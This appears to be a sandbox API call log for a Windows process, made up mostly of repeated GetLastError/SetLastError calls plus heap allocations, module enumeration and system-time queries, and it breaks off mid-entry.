GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.598] SetLastError (dwErrCode=0x0) [0047.598] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.599] SetLastError (dwErrCode=0x0) [0047.599] GetLastError () returned 0x0 [0047.600] SetLastError (dwErrCode=0x0) [0047.600] GetLastError () returned 0x0 [0047.600] SetLastError (dwErrCode=0x0) [0047.600] GetLastError () returned 0x0 [0047.600] SetLastError (dwErrCode=0x0) [0047.600] GetLastError () returned 0x0 [0047.600] SetLastError (dwErrCode=0x0) [0047.600] GetLastError () returned 0x0 [0047.600] SetLastError (dwErrCode=0x0) [0047.600] GetLastError () returned 0x0 [0047.600] SetLastError (dwErrCode=0x0) [0047.600] GetLastError () returned 0x0 [0047.600] SetLastError (dwErrCode=0x0) [0047.600] GetLastError () returned 0x0 [0047.600] SetLastError (dwErrCode=0x0) [0047.600] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.601] GetLastError () returned 0x0 [0047.601] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.602] SetLastError (dwErrCode=0x0) [0047.602] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.603] SetLastError (dwErrCode=0x0) [0047.603] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.604] SetLastError (dwErrCode=0x0) [0047.604] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.605] SetLastError (dwErrCode=0x0) [0047.605] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x68) returned 0x501990 [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.606] SetLastError (dwErrCode=0x0) [0047.606] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.607] SetLastError (dwErrCode=0x0) [0047.607] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.608] SetLastError (dwErrCode=0x0) [0047.608] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.609] SetLastError (dwErrCode=0x0) [0047.609] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.610] SetLastError (dwErrCode=0x0) [0047.610] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.611] SetLastError (dwErrCode=0x0) [0047.611] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.612] SetLastError (dwErrCode=0x0) [0047.612] GetLastError () returned 0x0 [0047.613] SetLastError (dwErrCode=0x0) [0047.613] GetLastError () returned 0x0 [0047.613] SetLastError (dwErrCode=0x0) [0047.613] GetLastError () returned 0x0 [0047.613] SetLastError (dwErrCode=0x0) [0047.613] GetLastError () returned 0x0 [0047.613] SetLastError (dwErrCode=0x0) [0047.613] GetLastError () returned 0x0 [0047.613] SetLastError (dwErrCode=0x0) [0047.613] GetLastError () returned 0x0 [0047.613] SetLastError (dwErrCode=0x0) [0047.613] GetLastError () returned 0x0 [0047.613] SetLastError (dwErrCode=0x0) [0047.613] GetLastError () returned 0x0 [0047.613] SetLastError (dwErrCode=0x0) [0047.613] GetLastError () returned 0x0 [0047.613] SetLastError (dwErrCode=0x0) [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x98) returned 0x501a00 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1f) returned 0x501aa0 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x36) returned 0x501ac8 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x37) returned 0x501b08 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3c) returned 0x501b48 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x31) returned 0x501b90 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x17) returned 0x501bd0 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x24) returned 0x501bf0 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x14) returned 0x501c20 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xd) returned 0x501c40 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x25) returned 0x501c58 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x39) returned 0x501c88 [0047.613] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x501cd0 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x17) returned 0x501cf0 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xe) returned 0x501d10 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x69) returned 0x501d28 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3e) returned 0x501da0 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1b) returned 0x501de8 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1d) returned 0x501e10 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x48) returned 0x501e38 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x12) returned 0x501e88 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x501ea8 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1b) returned 0x501ec8 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x24) returned 0x501ef0 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x29) returned 0x501f20 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1e) returned 0x501f58 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x41) returned 0x501f80 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x17) returned 0x501fd0 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xf) returned 0x501ff0 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x16) returned 0x502008 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2a) returned 0x502028 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x29) returned 0x502060 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x15) returned 0x502098 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1e) returned 0x5020b8 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2a) returned 0x5020e0 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x12) returned 0x502118 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x502138 [0047.614] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x46) returned 0x502158 [0047.614] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5011f8 | out: hHeap=0x500000) returned 1 [0047.615] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x800) returned 0x5021a8 [0047.615] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x80) returned 0x5011f8 [0047.615] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0047.616] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x5011f8) returned 0x80 [0047.616] GetLastError () returned 0x0 [0047.616] SetLastError (dwErrCode=0x0) [0047.616] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] SetLastError (dwErrCode=0x0) [0047.617] GetLastError () returned 0x0 [0047.617] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0047.618] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0047.618] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0047.618] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0047.620] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0047.620] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0047.620] GetTickCount () returned 0x1ab3c [0047.620] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.620] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.620] GetACP () returned 0x4e4 [0047.620] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.622] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.622] GetACP () returned 0x4e4 [0047.622] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.622] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.622] GetACP () returned 0x4e4 [0047.622] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.622] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.622] GetACP () returned 0x4e4 [0047.622] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.622] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.622] GetACP () returned 0x4e4 [0047.622] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.623] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.623] GetACP () returned 0x4e4 [0047.623] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.623] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.623] GetACP () returned 0x4e4 [0047.624] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.624] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.624] GetACP () returned 0x4e4 [0047.624] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.624] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.624] GetACP () returned 0x4e4 [0047.624] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.624] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.624] GetACP () returned 0x4e4 [0047.624] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.624] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.624] GetACP () returned 0x4e4 [0047.624] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.625] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.625] GetACP () returned 0x4e4 [0047.625] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.625] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.625] GetACP () returned 0x4e4 [0047.625] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.625] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.625] GetACP () returned 0x4e4 [0047.625] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.625] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.625] GetACP () returned 0x4e4 [0047.625] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.625] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.625] GetACP () returned 0x4e4 [0047.625] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.625] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.625] GetACP () returned 0x4e4 [0047.625] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.625] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.625] GetACP () returned 0x4e4 [0047.625] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.625] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.625] GetACP () returned 0x4e4 [0047.625] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.625] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.625] GetACP () returned 0x4e4 [0047.625] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.626] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | 